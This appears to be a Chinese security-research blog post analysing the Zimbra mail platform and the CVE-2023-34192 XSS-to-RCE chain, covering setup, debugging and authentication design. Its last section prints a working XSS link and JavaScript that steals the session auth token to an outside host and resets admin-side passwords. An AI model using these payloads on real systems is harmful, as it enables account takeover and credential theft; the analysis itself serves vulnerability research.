原创 <span>Skay</span> <span>2023-07-20 15:22</span> <span style="display: inline-block;">北京</span>
</p>

<p>CVE-2023-34192 —— Zimbra XSS To RCE</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e5c4b681&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5iceKibuClwKJ0j6C5Hoova635X4hDYzRkticRYdywwkYvbhVtkCDoe3QOop3dXOpFxk8icghUcgOSUibg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="text-align: center;"><strong><span style="font-size: 20px;">一、组件概述</span></strong></h1><h2><br/></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><h2><strong><span style="font-size: 17px;">1.关键词</span></strong></h2><p><span style="font-size: 14px;">邮服、协作</span></p><h2><strong><span style="font-size: 17px;">2.概述</span></strong></h2><p><span style="font-size: 14px;">Zimbra 是一个电子邮件和协作平台，包括聊天、视频会议、日历、 联系人、任务、文件共享/编辑，并且集成了Slack、Zoom、Dropbox 等内置功能。500 多个SaaS 合作伙伴以及2000 多家经销商都在使用 Zimbra 的产品。Zimbra 是全球开源电子邮件协作软件领域的领先供应商。</span></p><h2><strong><span style="font-size: 17px;">3.使用范围及行业分布</span></strong></h2><p><span style="font-size: 14px;">大中小型企业及政府部门</span></p><h2><strong><span style="font-size: 17px;">4.渗透攻击特性</span></strong></h2><p><span style="font-size: 14px;">暂无</span></p><h1 style="text-align: center;"><strong><span style="font-size: 20px;">二、环境搭建、动态调试</span></strong></h1><h2></h2><h2><br/></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h2><strong style="letter-spacing: 0.034em;"></strong></h2><h2><strong style="letter-spacing: 0.034em;"><span style="font-size: 17px;"><br/></span></strong></h2><h2><strong style="letter-spacing: 0.034em;"><span style="font-size: 17px;">1.环境搭建</span></strong><br/></h2><section><span style="font-size: 14px;letter-spacing: 0.034em;">各版本下载地址，</span></section><section><span style="font-size: 14px;letter-spacing: 0.034em;"><a href="https://www.zimbra.com/downloads/zimbra-collaboration-open-source/archives/" target="_blank">https://www.zimbra.com/downloads/zimbra-collaboration-open-source/archives/</a></span></section><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: 0.034em;">搭建之前本机需要配置好DNS服务</span></p><p style="line-height: normal;"><span style="font-size: 14px;"><a href="https://cloud.tencent.com/developer/article/1112133" target="_blank">https://cloud.tencent.com/developer/article/1112133</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;"><a href="https://abanger.github.io/CentOS/CentOS7_DNS_setting/" target="_blank">https://abanger.github.io/CentOS/CentOS7_DNS_setting/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;">安装包下存在./install.sh 自动拉取最新依赖包安装，插件默认即可，配置admin密码等信息</span></p><section><img class="rich_pages wxw-img" data-ratio="0.521505376344086" style="font-size: var(--articleFontsize);letter-spacing: 0.034em;" data-type="png" data-w="930" src="https://wechat2rss.xlab.app/img-proxy/?k=5cda4b5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5iceKibuClwKJ0j6C5Hoova63mTAggAlNUvJ9orxKttTAYFvu9biaLvuias8m7ibiaNu7EyJY9ib7Bn1z5XQ%2F640%3Fwx_fmt%3Dpng"/><br/></section><p><img class="rich_pages wxw-img" data-ratio="0.5337186897880539" data-w="1038" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5c8b6810&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5iceKibuClwKJ0j6C5Hoova63Ct5JuOdwRGuhG07UIMnIf3MBXHqK41eiaCqHyic3xwtDwsTeVL5eTOcA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">开源版本安装后8443为邮件服务器应用端口，7071为admin后台管理端口</span></p><h2><strong><span style="font-size: 17px;">2.动态调试</span></strong></h2><p><span style="font-size: 14px;">首先停止zimbra服务，并添加调试信息开启debug</span></p><pre></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">su zimbra</span></code><code><span class="code-snippet_outer">zmcontrol stop</span></code><code><span class="code-snippet_outer">su</span></code><code><span class="code-snippet_outer">cp /opt/zimbra/libexec/zmmailboxdmgr /opt/zimbra/libexec/zmmailboxdmgr.old</span></code><code><span class="code-snippet_outer">cp /opt/zimbra/libexec/zmmailboxdmgr.unrestricted /opt/zimbra/libexec/zmmailboxdmgr</span></code><code><span class="code-snippet_outer">su zimbra</span></code><code><span class="code-snippet_outer">zmlocalconfig -e mailboxd_java_options=&#34;`zmlocalconfig -m nokey mailboxd_java_options` -Xdebug -Xnoagent -Djava.compiler=NONE -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000&#34;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">重启服务</span></code><code><span class="code-snippet_outer">zmcontrol start</span></code></pre></section><pre><span style="font-size: 14px;"><br/></span></pre><p><span style="font-size: 14px;">获取/opt/zimbra 下所有jar包导入idea进行调试</span></p><p><img class="rich_pages wxw-img" data-ratio="0.8229571984435797" data-w="1028" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=edb9bc29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5iceKibuClwKJ0j6C5Hoova63e3C9ic5uLvdbAu8sKJX4cA5VhX5jVZVVRtkNapTMhWvtoLLnAiaG6ahw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6469465648854962" data-w="1048" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b7971af2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5iceKibuClwKJ0j6C5Hoova63jQtDq5vlrICHRcDILOPiasSCnUP56SRfhqKexJ8nc2ooibuJiamObbwWg%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="text-align: center;"><br/></h1><h1 style="text-align: center;line-height: normal;"><strong><span style="font-size: 20px;">三、组件分析</span></strong></h1><section style="line-height: normal;"><br/></section><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="line-height: normal;"><span style="font-size: 14px;"><br/></span></section><section style="line-height: normal;"><span style="font-size: 14px;">这里主要分析8443 端口web服务，zimbra web采用Jetty启动web服务，存在三个独立web应用\opt\zimbra\mailboxd\etc\jetty.xml，Web服务由Nginx做流量转发/opt/zimbra/conf/nginx/includes/nginx.conf.web</span></section><h2><strong><span style="font-size: 17px;">路由</span></strong><span style="font-size: 14px;"></span></h2><p><span style="font-size: 14px;">service、zimbra、zimbraAdmin 三个webapp分别都有web.xml，web.xml 中定义了诸多独立的servlet，其中SoapServlet对应SOAP API，通过Zimbra SOAP API能够对Zimbra邮件服务器的资源进行访问和修改</span></p><p><span style="font-size: 14px;">Zimbra SOAP API包括以下命名空间：</span></p><ul class="list-paddingleft-1"><li style="font-size: 14px;"><p><span style="font-size: 14px;">zimbraAccount</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">zimbraAdmin</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">zimbraAdminExt</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">zimbraMail</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">zimbraRepl</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">zimbraSync</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">zimbraVoice
每个命名空间下对应不同的操作命令，其中常用的命名空间有以下三个：</span></p></li></ul><ol class="list-paddingleft-1"><li style="font-size: 14px;"><p><span style="font-size: 14px;">zimbraAdmin，Zimbra邮件服务器的管理接口，需要管理员权限</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">zimbraAccount，同Zimbra用户相关的操作</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">zimbraMail，同zimbra邮件的操作</span></p></li></ol><h2><span style="font-size: 14px;">身份校验</span></h2><p><span style="font-size: 14px;">校验ZM_AUTH_TOKEN及ZM_ADMIN_AUTH_TOKEN,后者为管理员权限，TOKEN类似于JWT，生成过程较为安全，每个系统采用动态生成的key</span></p><h2><strong><span style="font-size: 17px;">权限校验</span></strong><span style="font-size: 14px;"></span></h2><p><span style="font-size: 14px;">三个web主体主要分析三个类型，每个都存在未授权访问的接口，zimbra还对每个servlet进行了端口访问控制</span></p><h4><strong><span style="font-size: 17px;">1.Servlet</span></strong></h4><p><span style="font-size: 14px;">众多servlet都通过com.zimbra.cs.service.UserServlet#checkAuthentication进行身份校验，需要认证后的用户才可以访问，当然部分servlet不需要身份认证</span></p><h4><strong><span style="font-size: 17px;">2.SOAP API</span></strong></h4><p><span style="font-size: 14px;">SOAP API 处理类都为com.zimbra.soap.DocumentHandler#handle，其它处理类都继承于这个类，默认needsAuth返回为true，needsAdminAuth默认为false，只有子类重写了这个方法权限认证才会改变。这里我们又可以得到一批未授权接口</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6334913112164297" data-w="633" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=660c2705&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5iceKibuClwKJ0j6C5Hoova63icrhmVmg1VrMR6BGQFkwNkH0Vap5lk8VYXzD6LBGfickqxgKibiahYp9sg%2F640%3Fwx_fmt%3Dpng"/></p><h4><strong><span style="font-size: 17px;">3.JSP</span></strong></h4><p><span style="font-size: 14px;">zimbra及zimbraAdmin下存在可访问的jsp文件，通过include进行权限认证</span></p><h2><strong><span style="font-size: 17px;">其它安全机制</span></strong></h2><p><span style="font-size: 14px;">CVE-2019-9670 之后，zimbra全局使用com.zimbra.common.soap.W3cDomUtil处理XML文档，做了DTD的禁用</span></p><p><img class="rich_pages wxw-img" data-ratio="0.3282937365010799" data-w="926" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e342a511&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5iceKibuClwKJ0j6C5Hoova6351aenJiaeZxmrOAibWEkNr6Xia82VbO6tUzcEsJ9vWFWyI1OER0dicgwWA%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="text-align: center;line-height: normal;"><br/></h1><h1 style="text-align: center;line-height: normal;"><strong><span style="font-size: 20px;">四、漏洞相关</span></strong></h1><section style="line-height: normal;"><strong><span style="font-size: 20px;"><br/></span></strong></section><h2></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h2></h2><h2 style="line-height: normal;"><span style="font-size: 14px;"><br/></span></h2><h2 style="line-height: normal;"><strong><span style="font-size: 17px;">1.漏洞概览</span></strong></h2><table><thead><tr><th style="word-break: break-all;"><span style="font-size: 14px;">名称</span></th><th><span style="font-size: 14px;">编号</span></th><th><span style="font-size: 14px;">危害</span></th><th><span style="font-size: 14px;">影响版本</span></th><th><span style="font-size: 14px;">备注</span></th></tr></thead><tbody><tr><td><span style="font-size: 14px;">XXE</span></td><td><span style="font-size: 14px;">CVE-2019-9670</span></td><td><span style="font-size: 14px;">高危</span></td><td><span style="font-size: 14px;">&lt; 8.7.4</span></td><td><br/></td></tr><tr><td><span style="font-size: 14px;">SSRF</span></td><td><span style="font-size: 14px;">CVE-2019-9621</span></td><td><span style="font-size: 14px;">高危</span></td><td><span style="font-size: 14px;">&lt; 8.7.11，8.8.11</span></td><td><br/></td></tr><tr><td><span style="font-size: 14px;">可能的命令执行</span></td><td><span style="font-size: 14px;">CVE-2020-12846</span></td><td><span style="font-size: 14px;">高危</span></td><td><span style="font-size: 14px;">&lt; 8.8.15 9.0.0</span></td><td><br/></td></tr><tr><td style="word-break: break-all;"><span style="font-size: 14px;">任意用户登录</span></td><td><span style="font-size: 14px;">CVE-2022-之924</span></td><td><span style="font-size: 14px;">高危</span></td><td><span style="font-size: 14px;">&lt; 8.8.15 9.0.0</span></td><td><br/></td></tr></tbody></table><p><strong style="font-size: 16px;letter-spacing: 0.034em;"><span style="font-size: 17px;">2.漏洞信息跟进<br/></span></strong></p><p><span style="font-size: 14px;"><a href="https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories" target="_blank">https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories</a></span></p><p><strong style="font-size: 16px;letter-spacing: 0.034em;"><span style="font-size: 17px;">2 漏洞自动化利用相关</span></strong></p><p><span style="font-size: 14px;letter-spacing: 0.034em;">路由信息明确后可以进行简单的自动化污点分析</span></p><p><img class="rich_pages wxw-img" data-ratio="0.7657407407407407" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=994ad532&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5iceKibuClwKJ0j6C5Hoova63IIeEXZVOJxQsUcGel8dOPp5tFdYerMG5zQQQb0XqEgu4H5V5WuMHvg%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="letter-spacing: 0.578px;text-wrap: wrap;text-align: center;line-height: normal;"><br/></h1><h1 style="letter-spacing: 0.578px;text-wrap: wrap;text-align: center;line-height: normal;"><strong><span style="font-size: 20px;">五、CVE-2023-34192</span></strong></h1><section style="letter-spacing: 0.578px;text-wrap: wrap;line-height: normal;"><strong><span style="font-size: 20px;"><br/></span></strong></section><h2 style="letter-spacing: 0.578px;text-wrap: wrap;"></h2><hr style="letter-spacing: 0.578px;text-wrap: wrap;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><h2 style="letter-spacing: 0.578px;text-wrap: wrap;"></h2><h2 style="letter-spacing: 0.578px;text-wrap: wrap;line-height: normal;"><span style="font-size: 14px;"><br/></span></h2><p><span style="font-size: 14px;">是一个前台的XSS，由于限制了httponly，所以需要找其它的点来回显cookie进而得到攻击者认证凭证，这也是漏洞评级为high的原因</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.24166666666666667" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b5e4875c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5iceKibuClwKJ0j6C5Hoova63TBuiaiaLnZSEMmvDEo4FKiaYPcyEHticDUGibTKejaAtdic3kDtAJziaicljvQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: normal;"><span style="font-size: 14px;">Zimbra一般只开放在8443端口，利用如下</span></section><section style="line-height: normal;"><span style="font-size: 14px;">Any logged-in user who clicks on this link will reveal their login credentials, which is authtoken</span></section><section style="text-align: left;line-height: normal;"><span style="font-size: 14px;">Link：<a href="https://zimbra.test233.com:8443/h/autoSaveDraft?draftid=aaaaaaaaaaa%22%3E%3Cscript%20type=%22text/javascript%22%20src=%22http://192.168.220.1:7777/8443getauthtoken.js%22%3E%3C/script%3E%3Cbbbbbbbb" target="_blank">https://zimbra.test233.com:8443/h/autoSaveDraft?draftid=aaaaaaaaaaa%22%3E%3Cscript%20type=%22text/javascript%22%20src=%22http://192.168.220.1:7777/8443getauthtoken.js%22%3E%3C/script%3E%3Cbbbbbbbb</a></span></section><section style="line-height: normal;"><strong><span style="font-size: 14px;">There are two loopholes involved</span></strong><span style="font-size: 14px;"></span></section><section style="line-height: normal;"><span style="font-size: 14px;">Here is the content of the malicious js code executed through the xss vulnerability：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">var xhr = new XMLHttpRequest();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">xhr.open(&#39;get&#39;, &#39;/public/authorize.jsp&#39;);</span></code><code><span class="code-snippet_outer">xhr.send();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">xhr.onload = function() {</span></code><code><span class="code-snippet_outer">    const responseHtml = xhr.response;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    const parser = new DOMParser();</span></code><code><span class="code-snippet_outer">    const doc = parser.parseFromString(responseHtml, &#34;text/html&#34;);</span></code><code><span class="code-snippet_outer">    const zauthtokenValue = doc.getElementsByName(&#34;zauthtoken&#34;)[0].value;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    console.log(zauthtokenValue);</span></code><code><span class="code-snippet_outer">    // alert(zauthtokenValue);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    var script = document.createElement(&#39;script&#39;);</span></code><code><span class="code-snippet_outer">    script.src = &#39;<a href="http://192.168.220.1:9999/?authtoken=" target="_blank">http://192.168.220.1:9999/?authtoken=</a>&#34;&#39;+zauthtokenValue+&#39;.js&#39;;</span></code><code><span class="code-snippet_outer">    document.body.insertBefore(script, document.body.firstChild);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p><span style="font-size: 14px;">Vulnerability verification screenshot</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.29259259259259257" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b67db913&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5iceKibuClwKJ0j6C5Hoova63TxATYjOEMNaBUDnwQq1K3QUqCGnEEdznb8vv8BXbPpXAeiablyhneVw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">如果很幸运的我们可以访问到7071端口，那么当管理员点击而已连接时，可以通过js构造发包进行RCE，首先管理员点击后会自动更改密码，然后利用后台接口进行任意文件上传进行RCE，js构造如下：</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> xhr = new <span class="code-snippet__type">XMLHttpRequest</span>();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">xhr.<span class="code-snippet__keyword">open</span>(<span class="code-snippet__string">&#34;POST&#34;</span>, <span class="code-snippet__string">&#34;/service/admin/soap/AuthRequest&#34;</span>);</span></code><code><span class="code-snippet_outer">xhr.setRequestHeader(<span class="code-snippet__string">&#34;Content-Type&#34;</span>, <span class="code-snippet__string">&#34;application/soap+xml;charset=UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer">xhr.send(&#39;&lt;soap:<span class="code-snippet__type">Envelope</span> xmlns:soap=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/2003/05/soap-envelope" target="_blank">http://www.w3.org/2003/05/soap-envelope</a>&#34;</span>&gt;&lt;soap:<span class="code-snippet__type">Header</span>&gt;&lt;context xmlns=<span class="code-snippet__string">&#34;urn:zimbra&#34;</span>&gt;&lt;userAgent xmlns=<span class="code-snippet__string">&#34;&#34;</span> name=<span class="code-snippet__string">&#34;ZimbraWebClient - FF111 (Win)&#34;</span>/&gt;&lt;session xmlns=<span class="code-snippet__string">&#34;&#34;</span> id=<span class="code-snippet__string">&#34;360&#34;</span>/&gt;&lt;authTokenControl xmlns=<span class="code-snippet__string">&#34;&#34;</span> voidOnExpired=<span class="code-snippet__string">&#34;1&#34;</span>/&gt;&lt;format xmlns=<span class="code-snippet__string">&#34;&#34;</span> type=<span class="code-snippet__string">&#34;js&#34;</span>/&gt;&lt;/context&gt;&lt;/soap:<span class="code-snippet__type">Header</span>&gt;&lt;soap:<span class="code-snippet__type">Body</span>&gt;&lt;<span class="code-snippet__type">AuthRequest</span> xmlns=<span class="code-snippet__string">&#34;urn:zimbraAdmin&#34;</span> refresh=<span class="code-snippet__string">&#34;1&#34;</span>&gt;&lt;virtualHost xmlns=<span class="code-snippet__string">&#34;&#34;</span>&gt;localhost&lt;/virtualHost&gt;&lt;csrfTokenSecured xmlns=<span class="code-snippet__string">&#34;&#34;</span>&gt;<span class="code-snippet__number">1</span>&lt;/csrfTokenSecured&gt;&lt;/<span class="code-snippet__type">AuthRequest</span>&gt;&lt;/soap:<span class="code-snippet__type">Body</span>&gt;&lt;/soap:<span class="code-snippet__type">Envelope</span>&gt;&#39;);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">xhr.onload = function() {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">var</span> response = <span class="code-snippet__type">JSON</span>.parse(xhr.response);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">var</span> csrf_token = response.<span class="code-snippet__type">Body</span>.<span class="code-snippet__type">AuthResponse</span>.csrfToken._content;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">var</span> xhr2 = new <span class="code-snippet__type">XMLHttpRequest</span>();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  xhr2.<span class="code-snippet__keyword">open</span>(<span class="code-snippet__string">&#34;POST&#34;</span>, <span class="code-snippet__string">&#34;/service/admin/soap/GetInfoRequest&#34;</span>);</span></code><code><span class="code-snippet_outer">  xhr2.setRequestHeader(<span class="code-snippet__string">&#34;Content-Type&#34;</span>, <span class="code-snippet__string">&#34;application/soap+xml;charset=UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer">  xhr2.setRequestHeader(<span class="code-snippet__string">&#34;X-Zimbra-Csrf-Token&#34;</span>, csrf_token);</span></code><code><span class="code-snippet_outer">  xhr2.send(&#39;&lt;soap:<span class="code-snippet__type">Envelope</span> xmlns:soap=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/2003/05/soap-envelope" target="_blank">http://www.w3.org/2003/05/soap-envelope</a>&#34;</span>&gt;&lt;soap:<span class="code-snippet__type">Header</span>&gt;&lt;context xmlns=<span class="code-snippet__string">&#34;urn:zimbra&#34;</span>&gt;&lt;userAgent xmlns=<span class="code-snippet__string">&#34;&#34;</span> name=<span class="code-snippet__string">&#34;ZimbraWebClient - FF111 (Win)&#34;</span>/&gt;&lt;session xmlns=<span class="code-snippet__string">&#34;&#34;</span> id=<span class="code-snippet__string">&#34;360&#34;</span>/&gt;&lt;format xmlns=<span class="code-snippet__string">&#34;&#34;</span> type=<span class="code-snippet__string">&#34;js&#34;</span>/&gt;&lt;/context&gt;&lt;/soap:<span class="code-snippet__type">Header</span>&gt;&lt;soap:<span class="code-snippet__type">Body</span>&gt;&lt;<span class="code-snippet__type">GetInfoRequest</span> xmlns=<span class="code-snippet__string">&#34;urn:zimbraAccount&#34;</span>/&gt;&lt;/soap:<span class="code-snippet__type">Body</span>&gt;&lt;/soap:<span class="code-snippet__type">Envelope</span>&gt;&#39;);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  xhr2.onload = function() {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">var</span> response = <span class="code-snippet__type">JSON</span>.parse(xhr2.response);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">var</span> id= response.<span class="code-snippet__type">Body</span>.<span class="code-snippet__type">GetInfoResponse</span>.id;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">var</span> zids = [];</span></code><code><span class="code-snippet_outer">    zids.push( id);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    console.log(zids.length); <span class="code-snippet__comment">// 在这里打印所有的会话。</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">var</span> i = <span class="code-snippet__number">0</span>; i &lt; zids.length; i++) {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">var</span> setPasswordRequest = &#39;&lt;soap:<span class="code-snippet__type">Envelope</span> xmlns:soap=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/2003/05/soap-envelope" target="_blank">http://www.w3.org/2003/05/soap-envelope</a>&#34;</span>&gt;&lt;soap:<span class="code-snippet__type">Header</span>&gt;&lt;context xmlns=<span class="code-snippet__string">&#34;urn:zimbra&#34;</span>&gt;&lt;userAgent xmlns=<span class="code-snippet__string">&#34;&#34;</span> name=<span class="code-snippet__string">&#34;ZimbraWebClient - FF111 (Win)&#34;</span>/&gt;&lt;format xmlns=<span class="code-snippet__string">&#34;&#34;</span> type=<span class="code-snippet__string">&#34;js&#34;</span>/&gt;&lt;/context&gt;&lt;/soap:<span class="code-snippet__type">Header</span>&gt;&lt;soap:<span class="code-snippet__type">Body</span>&gt;&lt;<span class="code-snippet__type">SetPasswordRequest</span> xmlns=<span class="code-snippet__string">&#34;urn:zimbraAdmin&#34;</span>&gt;&lt;id xmlns=<span class="code-snippet__string">&#34;&#34;</span>&gt;&#39; + zids[i] + &#39;&lt;/id&gt;&lt;newPassword xmlns=<span class="code-snippet__string">&#34;&#34;</span>&gt;<span class="code-snippet__number">7777777</span>&lt;/newPassword&gt;&lt;/<span class="code-snippet__type">SetPasswordRequest</span>&gt;&lt;/soap:<span class="code-snippet__type">Body</span>&gt;&lt;/soap:<span class="code-snippet__type">Envelope</span>&gt;&#39;;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">var</span> xhr3 = new <span class="code-snippet__type">XMLHttpRequest</span>();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      xhr3.<span class="code-snippet__keyword">open</span>(<span class="code-snippet__string">&#34;POST&#34;</span>, <span class="code-snippet__string">&#34;/service/admin/soap/SetPasswordRequest&#34;</span>);</span></code><code><span class="code-snippet_outer">      xhr3.setRequestHeader(<span class="code-snippet__string">&#34;Content-Type&#34;</span>, <span class="code-snippet__string">&#34;application/soap+xml;charset=UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer">      xhr3.setRequestHeader(<span class="code-snippet__string">&#34;X-Zimbra-Csrf-Token&#34;</span>, csrf_token);</span></code><code><span class="code-snippet_outer">      xhr3.send(setPasswordRequest);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      xhr3.onload = function() {</span></code><code><span class="code-snippet_outer">        console.log(<span class="code-snippet__string">&#34;Set password for &#34;</span> + zids[i] + <span class="code-snippet__string">&#34;:&#34;</span>, xhr3.response);</span></code><code><span class="code-snippet_outer">      };</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  };</span></code><code><span class="code-snippet_outer">};</span></code></pre></section><p><span style=""></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.31851851851851853" data-s="300,640" style="" data-type="png" data-w="1080" 